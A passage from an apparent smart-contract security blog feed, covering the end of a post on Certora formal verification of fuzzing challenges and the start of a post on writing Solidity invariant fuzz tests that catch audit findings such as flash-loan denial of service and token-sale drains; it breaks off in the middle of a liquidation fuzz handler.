<p>At the current time of writing, none of the Fuzzers (Foundry/Echidna/Medusa) are able to find a case where <code>_rarelyFalse</code> returns <code>false</code> making the assertion in <code>test_RarelyFalse</code> fail - but Certora can find it very quickly without writing any extra code! First create the configuration file <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/test/06-rarely-false/certora.conf"><code>certora.conf</code></a> which along with the usual fields has an additional optional <code>foundry_tests_mode</code> set to <code>true</code>:</p>
<pre><code class="lang-solidity">{
  <span class="hljs-string">"files"</span>: [
    <span class="hljs-string">"test/06-rarely-false/RarelyFalseCryticToFoundry.sol"</span>
  ],
  <span class="hljs-string">"verify"</span>: <span class="hljs-string">"RarelyFalseCryticToFoundry:test/06-rarely-false/certora.spec"</span>,
  <span class="hljs-string">"packages"</span>:[
        <span class="hljs-string">"@chimera=lib/chimera/src"</span>,
        <span class="hljs-string">"forge-std=lib/forge-std/src"</span>
    ],
  <span class="hljs-string">"foundry_tests_mode"</span>: <span class="hljs-literal">true</span>
}
</code></pre>
<p>Then the <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/test/06-rarely-false/certora.spec"><code>certora.spec</code></a> file has this exact one line which is not specific at all to the test:</p>
<pre><code class="lang-solidity">use builtin rule verifyFoundryFuzzTests;
</code></pre>
<p>This simple setup allows Foundry stateless fuzz tests to be formally verified using Certora!</p>
<h2 id="heading-possible-improvements">Possible Improvements</h2>
<p>Since Certora has created their own domain-specific language, it would be nice if it contained some “syntactic sugar” to make common patterns much easier and not error-prone to implement.</p>
<p>One common pattern is where a ghost variable is used to track the sum of all values in a mapping; this was used in the second solution to Example 5. Currently this pattern is quite cumbersome and error-prone to implement - it would be much nicer if some syntactic sugar could be provided that would turn it into a one liner like this:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// sum all values in a mapping</span>
ghost mathint sumOfPoints <span class="hljs-operator">=</span> always_sum(currentContract.allocations.points);

<span class="hljs-comment">// sum values in a mapping for a given set of keys (here addresses)</span>
ghost mathint sumOfPoints <span class="hljs-operator">=</span> always_sum(currentContract.balances, users);
</code></pre>
<p>Another potential improvement would be having <code>certoraRun</code> automagically read the library paths from the Hardhat/Foundry configuration so these wouldn’t need to be replicated inside the <code>.conf</code> file.</p>
<p>“Syntactic sugar” could condense the parameterized function calls eg:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// call anything</span>
env e;
method f;
calldataarg args;
f(e, args);

<span class="hljs-comment">// call anything syntactic sugar</span>
call_anything();

<span class="hljs-comment">// call anything as `user`</span>
env e5;
<span class="hljs-built_in">require</span> e5.msg.sender <span class="hljs-operator">=</span><span class="hljs-operator">=</span> user;
method f;
calldataarg args;
f(e5, args);

<span class="hljs-comment">// call anything as `user` syntactic sugar</span>
call_anything(<span class="hljs-built_in">msg</span>.<span class="hljs-built_in">sender</span> <span class="hljs-operator">=</span><span class="hljs-operator">=</span> user);
</code></pre>
<h2 id="heading-conclusion">Conclusion</h2>
<p>From the 10 fuzzing challenges based on simplified real-world vulnerabilities we were able to efficiently write 9 Certora specifications which correctly identified the same vulnerabilities, missing only challenge 8 due to CVL’s lack of support for returning the revert reason. In many cases the Certora solutions were more elegant and concise than the corresponding fuzzers since:</p>
<ul>
<li><p>there was no need to code setup or handlers</p>
</li>
<li><p>due to Certora’s powerful features such as parametric rules</p>
</li>
</ul>
<p>While it may sound daunting to learn Certora’s domain specific language, using the Certora lessons in <a target="_blank" href="https://updraft.cyfrin.io/courses/formal-verification">Updraft’s free course</a> and the official <a target="_blank" href="https://docs.certora.com/en/latest/docs/user-guide/index.html">user guide</a> I was able to learn enough CVL to write these solutions and this deep dive in only 7 days - if I can do it, then so can you!</p>
<p>Formal Verification using Certora is an effective tool which smart contract developers can use to identify a wide range of vulnerabilities prior to external audit. Certora’s generous free tier allows developers and auditors to <a target="_blank" href="https://www.certora.com/signup?plan=prover&amp;utm=updraft">sign up for free</a> and get a lot of free usage every month, more than sufficient for most small-medium size protocols.</p>
<p>2026 Update - RareSkills has published a great <a target="_blank" href="https://rareskills.io/tutorials/certora-book">Certora tutorial</a>!</p>
]]></content:encoded></item><item><title><![CDATA[Find Highs Before External Auditors Using Invariant Fuzz Testing]]></title><description><![CDATA[Many high severity findings found during private audits by external auditors could have been found by the protocol developers themselves using invariant fuzz testing prior to engaging external auditors. While this doesn’t require developing an “attac...]]></description><link>https://dacian.me/find-highs-before-external-auditors-using-invariant-fuzz-testing</link><guid isPermaLink="true">https://dacian.me/find-highs-before-external-auditors-using-invariant-fuzz-testing</guid><category><![CDATA[Ethereum]]></category><category><![CDATA[Smart Contracts]]></category><category><![CDATA[Web3]]></category><category><![CDATA[Solidity]]></category><category><![CDATA[fuzzing]]></category><category><![CDATA[invariant testing]]></category><dc:creator><![CDATA[Dacian]]></dc:creator><pubDate>Sun, 10 Nov 2024 06:37:45 GMT</pubDate><content:encoded><![CDATA[<p>Many high severity findings found during private audits by external auditors could have been found by the protocol developers themselves using invariant fuzz testing prior to engaging external auditors. While this doesn’t require developing an “attacker mindset” or other auditor-specific skills, it does require learning to think in invariants which is a useful skill for both protocol developers and smart contract auditors.</p>
<p>Given the fees that “Tier 1” external audit firms charge per week, having the invariant tests done in-house prior to external audit is also more cost-effective. This is especially the case as protocol developers already have full context of important protocol &amp; contract properties so can more rapidly write the invariants.</p>
<h2 id="heading-thinking-in-invariants">Thinking In Invariants</h2>
<p>The primary skill developers need to acquire is learning to think in invariants. I have previously presented a simple <a target="_blank" href="https://dacian.me/writing-multi-fuzzer-invariant-tests-using-chimera#heading-thinking-in-invariants">framework</a> for this which:</p>
<ul>
<li><p>uses <a target="_blank" href="https://github.com/Recon-Fuzz/chimera">Chimera</a> to write one codebase that works across Echidna, Medusa &amp; Foundry fuzzers while enabling easy <a target="_blank" href="https://getrecon.xyz/">cloud fuzzing using Recon</a></p>
</li>
<li><p>breaks the <a target="_blank" href="https://dacian.me/writing-multi-fuzzer-invariant-tests-using-chimera#heading-contract-lifecycle">contract lifecycle</a> into at least 3 phases: construction/initialization, regular functioning and an optional end state</p>
</li>
<li><p>categorizes <a target="_blank" href="https://dacian.me/writing-multi-fuzzer-invariant-tests-using-chimera#heading-whiteblack-box">invariants into 2 basic categories</a>: “black box” which can be gleaned from the protocol design and documentation, and “white box” which are based upon the smart contract’s internal implementation code</p>
</li>
</ul>
<p>Invariants can further be classified into the following types:</p>
<ul>
<li><p>Relationships between inter-related storage locations, eg:<br />  - the sum of all values in a <code>mapping</code> X must equal Y stored elsewhere in storage (regular, white box)<br />  - all addresses present in <code>EnumerableSet</code> X must also exist as keys in <code>mapping</code> Y (regular, white box)</p>
</li>
<li><p>Monetary value held by contract/protocol and solvency requirements, eg:<br />  - Once token/reward/yield distribution is complete the contract should have 0 balance (end state, black box)<br />  - contract should always have enough tokens to cover liabilities (regular, black box)</p>
</li>
<li><p>Logical invariants that prevent invalid states, eg:<br />  - account with active borrow can’t exit market where they borrowed from (regular, black box)<br />  - protocol should never enter a state where borrower can be liquidated but can’t repay (regular, black box)</p>
</li>
<li><p>Denial of Service (DoS) from unexpected errors, eg:<br />  - liquidation should never revert with unexpected errors such as access array out of bounds, under/overflow etc (regular, white box)</p>
</li>
</ul>
<h2 id="heading-handlers-vs-no-handlers">Handlers Vs No Handlers</h2>
<p>Invariant fuzzers can use “handler” functions which wrap underlying functions from the target contract, satisfying preconditions to prevent trivial reverts. Alternatively fuzzers can also use no handlers which lets the fuzzer explore freely. The trade-offs between these choices are:</p>
<ul>
<li><p>when using no handlers, if the search space is too large the fuzzer may not have enough time to find invariant-breaking sequences and there may be many wasted runs due to trivial reverts</p>
</li>
<li><p>using handlers eliminates wasted runs due to trivial reverts increasing the fuzz efficiency but also restricts the search space so may miss some invariant-breaking sequences</p>
</li>
</ul>
<p>In general most developers will want to use handlers in order to improve the efficiency of their fuzz runs by satisfying basic preconditions, while being mindful not to overly-constrain the fuzz inputs.</p>
<h2 id="heading-example-1-flash-loan-denial-of-service">Example 1 - Flash Loan Denial Of Service</h2>
<p>Specification: there are 2 contracts <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/src/02-unstoppable/ReceiverUnstoppable.sol"><code>Receiver</code></a> and <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/src/02-unstoppable/UnstoppableLender.sol"><code>Lender</code></a>. <code>Receiver</code> has a function <code>executeFlashLoan</code> that calls <code>Lender::flashLoan</code> to take a flash loan, and the important invariant is that <code>Receiver</code> should always be able to take a flash loan if <code>Lender</code> has sufficient tokens available. Simply from this specification without even looking at the code we could write a (regular, black box) invariant like <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/test/02-unstoppable/UnstoppableBasicEchidna.t.sol#L53-L56">this</a>:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">invariant_receiver_can_take_flash_loan</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span> (<span class="hljs-params"><span class="hljs-keyword">bool</span> result</span>) </span>{
    receiver.executeFlashLoan(<span class="hljs-number">10</span>);
    result <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
}
</code></pre>
<p>By examining the <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/src/02-unstoppable/UnstoppableLender.sol#L33-L48">implementation</a> of <code>Lender::flashLoan</code> we can write an even more specific (regular, white box) invariant based on the knowledge of how that function works:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">invariant_pool_bal_equal_token_pool_bal</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">bool</span> result</span>) </span>{
    result <span class="hljs-operator">=</span> pool.poolBalance() <span class="hljs-operator">=</span><span class="hljs-operator">=</span> token.balanceOf(<span class="hljs-keyword">address</span>(pool));
}
</code></pre>
<p>Generally fuzzers are more easily able to break the second more specific white box invariant and it is harder for them to break the first more generic black box invariant. In this case Foundry, Echidna &amp; Medusa <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/README.md#challenge-2-unstoppable-winner-tied-all">can all break both invariants</a>.</p>
<p>Neither of these invariants took any special auditor-specific skills to write; the protocol developer could easily write such invariants as part of the protocol’s test suite.</p>
<p>While this was not a real codebase as it was taken from <a target="_blank" href="https://www.damnvulnerabledefi.xyz/">Damn Vulnerable DeFi</a> <code>Unstoppable</code> challenge, all of the following simplified examples will be from my private audit findings on real codebases while working with <a target="_blank" href="https://www.cyfrin.io/">Cyfrin</a>.</p>
<h2 id="heading-example-2-reward-distribution-stuck">Example 2 - Reward Distribution Stuck</h2>
<p>Specification: a <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/src/03-proposal/Proposal.sol"><code>Proposal</code></a> contract is deployed by a DAO with some ETH to be distributed if the proposal succeeds:</p>
<ul>
<li><p><code>Proposal</code> is active until voting has finished or the proposal has timed out</p>
</li>
<li><p>While active, eligible voters can vote <code>for</code> or <code>against</code></p>
</li>
<li><p>if quorum is reached the ETH should be distributed between the <code>for</code> voters</p>
</li>
<li><p>otherwise the ETH should be refunded to the proposal creator</p>
</li>
</ul>
<p>Without even looking at the implementation we can write a black box <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/test/03-proposal/Properties.sol#L16-L29">invariant</a> that covers both the regular functioning and the end state:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">property_proposal_complete_all_rewards_distributed</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">bool</span></span>) </span>{
    <span class="hljs-keyword">uint256</span> proposalBalance <span class="hljs-operator">=</span> <span class="hljs-keyword">address</span>(prop).<span class="hljs-built_in">balance</span>;

    <span class="hljs-comment">// only visible when invariant fails</span>
    <span class="hljs-keyword">emit</span> ProposalBalance(proposalBalance);

    <span class="hljs-keyword">return</span>(
        <span class="hljs-comment">// either proposal is active and contract balance &gt; 0</span>
        (prop.isActive() <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> proposalBalance <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span>) <span class="hljs-operator">|</span><span class="hljs-operator">|</span>

        <span class="hljs-comment">// or proposal is not active and contract balance == 0</span>
        (<span class="hljs-operator">!</span>prop.isActive() <span class="hljs-operator">&amp;</span><span class="hljs-operator">&amp;</span> proposalBalance <span class="hljs-operator">=</span><span class="hljs-operator">=</span> <span class="hljs-number">0</span>)
    );
}
</code></pre>
<p>This invariant uncovered a <a target="_blank" href="https://solodit.xyz/issues/distributionproposal-for-voter-rewards-diluted-by-against-voters-and-missing-rewards-permanently-stuck-in-distributionproposal-contract-cyfrin-none-cyfrin-dexe-markdown">High</a> severity issue that resulted in tokens being permanently stuck in the contract.</p>
<h2 id="heading-example-3-voting-power-destruction">Example 3 - Voting Power Destruction</h2>
<p>Specification: a <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/src/04-voting-nft/VotingNftForFuzz.sol"><code>VotingNft</code></a> contract:</p>
<ul>
<li><p>allows users to deposit ETH collateral against their NFT to give it DAO voting power</p>
</li>
<li><p>NFTs can be created by the owner until the “power calculation start time”</p>
</li>
<li><p>Once power calculation begins all NFTs start with max voting power which declines over time for NFTs which have not been backed by deposited ETH</p>
</li>
<li><p>NFT voting power which has declined can never be increased; depositing the required ETH collateral simply prevents any future decrease</p>
</li>
</ul>
<p>Purely from this specification we can write an (initialization, black box) <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/test/04-voting-nft/Properties.sol#L23-L25">invariant</a> to verify that when power calculation begins, the total voting power of all NFTs is equal to the max voting power multiplied by the number of created NFTs:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">property_total_power_eq_init_max_power_calc_start</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">bool</span> result</span>) </span>{
    result <span class="hljs-operator">=</span> votingNft.getTotalPower() <span class="hljs-operator">=</span><span class="hljs-operator">=</span> initMaxNftPower;
}
</code></pre>
<p>This very simple invariant uncovered two serious issues:</p>
<ul>
<li><p>a <a target="_blank" href="https://solodit.xyz/issues/attacker-can-destroy-user-voting-power-by-setting-erc721powertotalpower-and-all-existing-nfts-currentpower-to-0-cyfrin-none-cyfrin-dexe-markdown">Critical</a> asymmetry vulnerability which a permission-less attacker could exploit to permanently set every NFT’s voting power to 0</p>
</li>
<li><p>a <a target="_blank" href="https://solodit.xyz/issues/attacker-can-at-anytime-dramatically-lower-erc721powertotalpower-close-to-0-cyfrin-none-cyfrin-dexe-markdown">High</a> vulnerability that allowed a permission-less attacker to dramatically lower the total voting power to almost 0 while maintaining individual NFT voting power, massively increasing the voting power of any NFT holder</p>
</li>
</ul>
<h2 id="heading-example-4-token-sale-drain">Example 4 - Token Sale Drain</h2>
<p>Specification: a <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/src/05-token-sale/TokenSale.sol"><code>TokenSale</code></a> contract:</p>
<ul>
<li><p>allows a DAO to sell its governance <code>sellToken</code> for another <code>buyToken</code></p>
</li>
<li><p>the token sale is only for allowed users and each user can only buy up to a max per-user limit to prevent concentration of voting power</p>
</li>
<li><p>in our simplified version we assume an exchange rate of 1:1 and that <code>sellToken</code> always has decimals greater or equal to <code>buyToken</code></p>
</li>
</ul>
<p>Using only the specification we can create two (regular, black box) invariants. The <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/test/05-token-sale/TokenSaleBasicEchidna.t.sol#L124-L137">first invariant</a> verifies that the number of tokens bought matches the number of tokens sold (due to the simplified 1:1 exchange):</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">invariant_tokens_bought_eq_tokens_sold</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">bool</span> result</span>) </span>{
    <span class="hljs-keyword">uint256</span> soldAmount <span class="hljs-operator">=</span> tokenSale.getSellTokenSoldAmount();
    <span class="hljs-keyword">uint256</span> boughtBal  <span class="hljs-operator">=</span> buyToken.balanceOf(<span class="hljs-keyword">address</span>(<span class="hljs-built_in">this</span>));

    <span class="hljs-comment">// scale up `boughtBal` by the precision difference</span>
    <span class="hljs-comment">// SELL_DECIMALS &gt;= BUY_DECIMALS</span>
    boughtBal <span class="hljs-operator">*</span><span class="hljs-operator">=</span> <span class="hljs-number">10</span> <span class="hljs-operator">*</span><span class="hljs-operator">*</span> (SELL_DECIMALS <span class="hljs-operator">-</span> BUY_DECIMALS);

    result <span class="hljs-operator">=</span> (boughtBal <span class="hljs-operator">=</span><span class="hljs-operator">=</span> soldAmount);
}
</code></pre>
<p>The <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/test/05-token-sale/TokenSaleBasicEchidna.t.sol#L143-L153">second invariant</a> verifies that a user can only buy up to the maximum <code>sellToken</code> amount allowed per user:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">invariant_max_token_buy_per_user</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">bool</span> result</span>) </span>{
    <span class="hljs-keyword">for</span>(<span class="hljs-keyword">uint256</span> i; i<span class="hljs-operator">&lt;</span>buyers.<span class="hljs-built_in">length</span>; <span class="hljs-operator">+</span><span class="hljs-operator">+</span>i) {
        <span class="hljs-keyword">address</span> buyer <span class="hljs-operator">=</span> buyers[i];

        <span class="hljs-keyword">if</span>(sellToken.balanceOf(buyer) <span class="hljs-operator">&gt;</span> MAX_TOKENS_PER_BUYER) {
            <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
        }
    }

    result <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
}
</code></pre>
<p>These two simple invariants uncovered:</p>
<ul>
<li><p>a <a target="_blank" href="https://solodit.xyz/issues/tokensaleproposalbuy-implicitly-assumes-that-buy-token-has-18-decimals-resulting-in-a-potential-total-loss-scenario-for-dao-pool-cyfrin-none-cyfrin-dexe-markdown">Critical</a> <a target="_blank" href="https://dacian.me/precision-loss-errors#heading-rounding-down-to-zero">rounding down to zero</a> vulnerability found by my teammate which allowed a user to get free tokens</p>
</li>
<li><p>a <a target="_blank" href="https://solodit.xyz/issues/attacker-can-bypass-token-sale-maxallocationperuser-restriction-to-buy-out-the-entire-tier-cyfrin-none-cyfrin-dexe-markdown">High</a> vulnerability which allowed a user to bypass the per-user max buy token limit, buying all the tokens and hence gaining dominant voting power</p>
</li>
</ul>
<h2 id="heading-example-5-vesting-points-increase">Example 5 - Vesting Points Increase</h2>
<p>Specification: a <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/src/09-vesting/Vesting.sol"><code>Vesting</code></a> contract allocates points to users which can be used to redeem tokens once their vesting period has been served. The contract implements an <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/src/09-vesting/Vesting.sol#L37">initialization invariant</a> in the <code>constructor</code> ensuring that all points are allocated:</p>
<pre><code class="lang-solidity"><span class="hljs-built_in">require</span>(totalPoints <span class="hljs-operator">=</span><span class="hljs-operator">=</span> TOTAL_POINTS, <span class="hljs-string">"Not enough points"</span>);
</code></pre>
<p>Users can transfer their points to another address but apart from this users have no way to increase or decrease their allocated points, hence the sum of individual user points should always remain equal to the initial total allocated.</p>
<p>From the specification we can write a (regular, black box) <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/test/09-vesting/Properties.sol#L9-L25">invariant</a> to verify that the sum of all user points always remains equal to the initial total allocated points:</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">property_users_points_sum_eq_total_points</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">bool</span> result</span>) </span>{
    <span class="hljs-keyword">uint24</span> totalPoints;

    <span class="hljs-comment">// sum up all user points using `recipients` ghost variable</span>
    <span class="hljs-keyword">for</span>(<span class="hljs-keyword">uint256</span> i; i<span class="hljs-operator">&lt;</span>recipients.<span class="hljs-built_in">length</span>; i<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) {
        (<span class="hljs-keyword">uint24</span> points, , ) <span class="hljs-operator">=</span> vesting.allocations(recipients[i]);

        totalPoints <span class="hljs-operator">+</span><span class="hljs-operator">=</span> points;
    }

    <span class="hljs-comment">// true if invariant held, false otherwise</span>
    <span class="hljs-keyword">if</span>(totalPoints <span class="hljs-operator">=</span><span class="hljs-operator">=</span> TOTAL_POINTS) result <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;

    <span class="hljs-comment">// note: Solidity always initializes to default values</span>
    <span class="hljs-comment">// so no need to explicitly set result = false as false</span>
    <span class="hljs-comment">// is the default value for bool</span>
}
</code></pre>
<p>This invariant exposed a <a target="_blank" href="https://solodit.xyz/issues/allocationvesting-contract-can-be-exploited-for-infinite-points-via-self-transfer-cyfrin-none-bima-markdown">High</a> severity vulnerability which allowed users to give themselves an infinite number of points and hence drain the token allocation.</p>
<h2 id="heading-example-6-vesting-preclaim-abuse">Example 6 - Vesting Preclaim Abuse</h2>
<p>Specification: a <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/src/10-vesting-ext/VestingExt.sol"><code>VestingExt</code></a> contract contains the same functionality as the previous <code>Vesting</code> contract plus an additional feature which lets users <code>preclaim</code> part of their token allocation, allowing users to get a limited amount of tokens before their vesting period is served.</p>
<p>Using only the specification we can create a (regular, black box) <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/test/10-vesting-ext/Properties.sol#L27-L29">invariant</a> which verifies the total preclaimed points is always less than or equal to the maximum preclaimable points (which is just the number of users multiplied by the maximum preclaim point amount per user):</p>
<pre><code class="lang-solidity"><span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">property_total_preclaimed_lt_eq_max_preclaimable</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">view</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">bool</span> result</span>) </span>{
    result <span class="hljs-operator">=</span> totalPreclaimed <span class="hljs-operator">&lt;</span><span class="hljs-operator">=</span> MAX_PRECLAIMABLE;
}
</code></pre>
<p>This invariant discovered a <a target="_blank" href="https://solodit.xyz/issues/maximum-preclaim-limit-can-be-easily-bypassed-to-preclaim-entire-token-allocation-cyfrin-none-bima-markdown">Medium</a> severity vulnerability which allowed users to preclaim their entire token allocation and in the case of the code under audit, rapidly gain more voting power in the DAO than they should be able to.</p>
<h2 id="heading-example-7-operator-registry-corruption">Example 7 - Operator Registry Corruption</h2>
<p>Specification: an <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/src/11-op-reg/OperatorRegistry.sol"><code>OperatorRegistry</code></a> contract allows users to register as operators and receive an <code>operatorId</code> where the first <code>operatorId = 1</code> and subsequent ids are incremented.</p>
<p>The contract storage has multiple inter-related data structures which use both the user’s <code>address</code> and <code>operatorId</code> as keys in mappings to reference one another, enabling lookup of operator data by either <code>address</code> or <code>operatorId</code>. Users can also update their <code>address</code>.</p>
<p>From this specification we can write a (regular, black box) <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/test/11-op-reg/Properties.sol#L13-L38">invariant</a> that verifies the data integrity of these inter-related data structures by ensuring that every <code>operatorId</code> is related to a unique <code>address</code>:</p>
<pre><code class="lang-solidity">EnumerableSet.AddressSet foundAddresses;

<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">property_operator_ids_have_unique_addresses</span>(<span class="hljs-params"></span>) <span class="hljs-title"><span class="hljs-keyword">public</span></span> <span class="hljs-title"><span class="hljs-keyword">returns</span></span>(<span class="hljs-params"><span class="hljs-keyword">bool</span> result</span>) </span>{
    <span class="hljs-comment">// first remove old found from ghost storage</span>
    <span class="hljs-keyword">uint256</span> oldFoundLength <span class="hljs-operator">=</span> foundAddresses.<span class="hljs-built_in">length</span>();
    <span class="hljs-keyword">if</span>(oldFoundLength <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span>) {
        <span class="hljs-keyword">address</span>[] <span class="hljs-keyword">memory</span> values <span class="hljs-operator">=</span> foundAddresses.values();

        <span class="hljs-keyword">for</span>(<span class="hljs-keyword">uint256</span> i; i<span class="hljs-operator">&lt;</span>oldFoundLength; i<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) {
            foundAddresses.remove(values[i]);
        }
    }

    <span class="hljs-comment">// then iterate over every current operator, fetch its address</span>
    <span class="hljs-comment">// and attempt to add it to the found set. If the add fails it is</span>
    <span class="hljs-comment">// a duplicate breaking the invariant</span>
    <span class="hljs-keyword">uint128</span> numOperators <span class="hljs-operator">=</span> operatorRegistry.numOperators();
    <span class="hljs-keyword">if</span>(numOperators <span class="hljs-operator">&gt;</span> <span class="hljs-number">0</span>) {
        <span class="hljs-comment">// operator ids start at 1</span>
        <span class="hljs-keyword">for</span>(<span class="hljs-keyword">uint128</span> operatorId <span class="hljs-operator">=</span> <span class="hljs-number">1</span>; operatorId <span class="hljs-operator">&lt;</span><span class="hljs-operator">=</span> numOperators; operatorId<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) {
            <span class="hljs-keyword">if</span>(<span class="hljs-operator">!</span>foundAddresses.add(operatorRegistry.operatorIdToAddress(operatorId))) {
                <span class="hljs-keyword">return</span> <span class="hljs-literal">false</span>;
            }
        }
    }

    result <span class="hljs-operator">=</span> <span class="hljs-literal">true</span>;
}
</code></pre>
<p>This invariant uncovered a <a target="_blank" href="https://solodit.xyz/issues/nodeoperatorregistryupdateoperatorcontrollingaddress-allows-to-override-_newoperatoraddress-if-its-address-is-already-assigned-to-an-operator-id-cyfrin-none-cyfrin-swell-barracuda-markdown">Low</a> severity issue found by my teammate where two different <code>operatorIds</code> could point to the same user <code>address</code> &amp; associated data, corrupting the inter-related data structure relationships. This was a Low severity issue in our audit as the function which triggered the corruption was permissioned and the impact was limited but this could easily have Medium or High severity in other codebases depending on how the corruption could be triggered and exploited.</p>
<h2 id="heading-example-8-liquidate-denial-of-service">Example 8 - Liquidate Denial Of Service</h2>
<p>Specification: a <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/src/12-liquidate-dos/LiquidateDos.sol"><code>LiquidateDos</code></a> contract allows traders to enter multiple markets and have one open position in each market. Traders can also be liquidated:</p>
<ul>
<li><p>all open positions are accounted when determining if a trader is liquidatable</p>
</li>
<li><p>if liquidated, all open positions are closed for the trader being liquidated</p>
</li>
<li><p>liquidation should never fail with unexpected errors</p>
</li>
</ul>
<p>Using this specification we can write a (regular, white box) invariant that verifies the <code>liquidate</code> function doesn’t revert with unexpected errors. This invariant is white box as it requires us to know the specific implementation details of <code>liquidate</code> in order to know which errors are expected.</p>
<p>When implementing DoS invariant fuzz tests there are two approaches:</p>
<ol>
<li><p>run <code>Echidna</code> and <code>Medusa</code> in <code>assertion</code> mode, and have assertions in the fuzz handler - but this won’t work with Foundry</p>
</li>
<li><p>have a <code>bool</code> ghost variable which is set in the fuzz handler then wrap an invariant around it - this works with all 3 fuzzers</p>
</li>
</ol>
<p>Here is the <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/test/12-liquidate-dos/TargetFunctions.sol#L32-L68">handler</a> and <a target="_blank" href="https://github.com/devdacian/solidity-fuzzing-comparison/blob/main/test/11-op-reg/Properties.sol#L13-L38">invariant</a> using the second implementation:</p>
<pre><code class="lang-solidity"><span class="hljs-comment">// TargetFunctions fuzz handler</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">handler_liquidate</span>(<span class="hljs-params"><span class="hljs-keyword">uint8</span> victimIndex</span>) <span class="hljs-title"><span class="hljs-keyword">external</span></span> </span>{
    <span class="hljs-keyword">address</span> victim <span class="hljs-operator">=</span> _getRandomAddress(victimIndex);

    <span class="hljs-keyword">try</span> liquidateDos.liquidate(victim) {
        <span class="hljs-comment">// update ghost variables</span>
        <span class="hljs-keyword">delete</span> userActiveMarketsCount[victim];

        <span class="hljs-keyword">for</span>(<span class="hljs-keyword">uint8</span> marketId <span class="hljs-operator">=</span> liquidateDos.MIN_MARKET_ID();
            marketId <span class="hljs-operator">&lt;</span><span class="hljs-operator">=</span> liquidateDos.MAX_MARKET_ID();
            marketId<span class="hljs-operator">+</span><span class="hljs-operator">+</span>) {
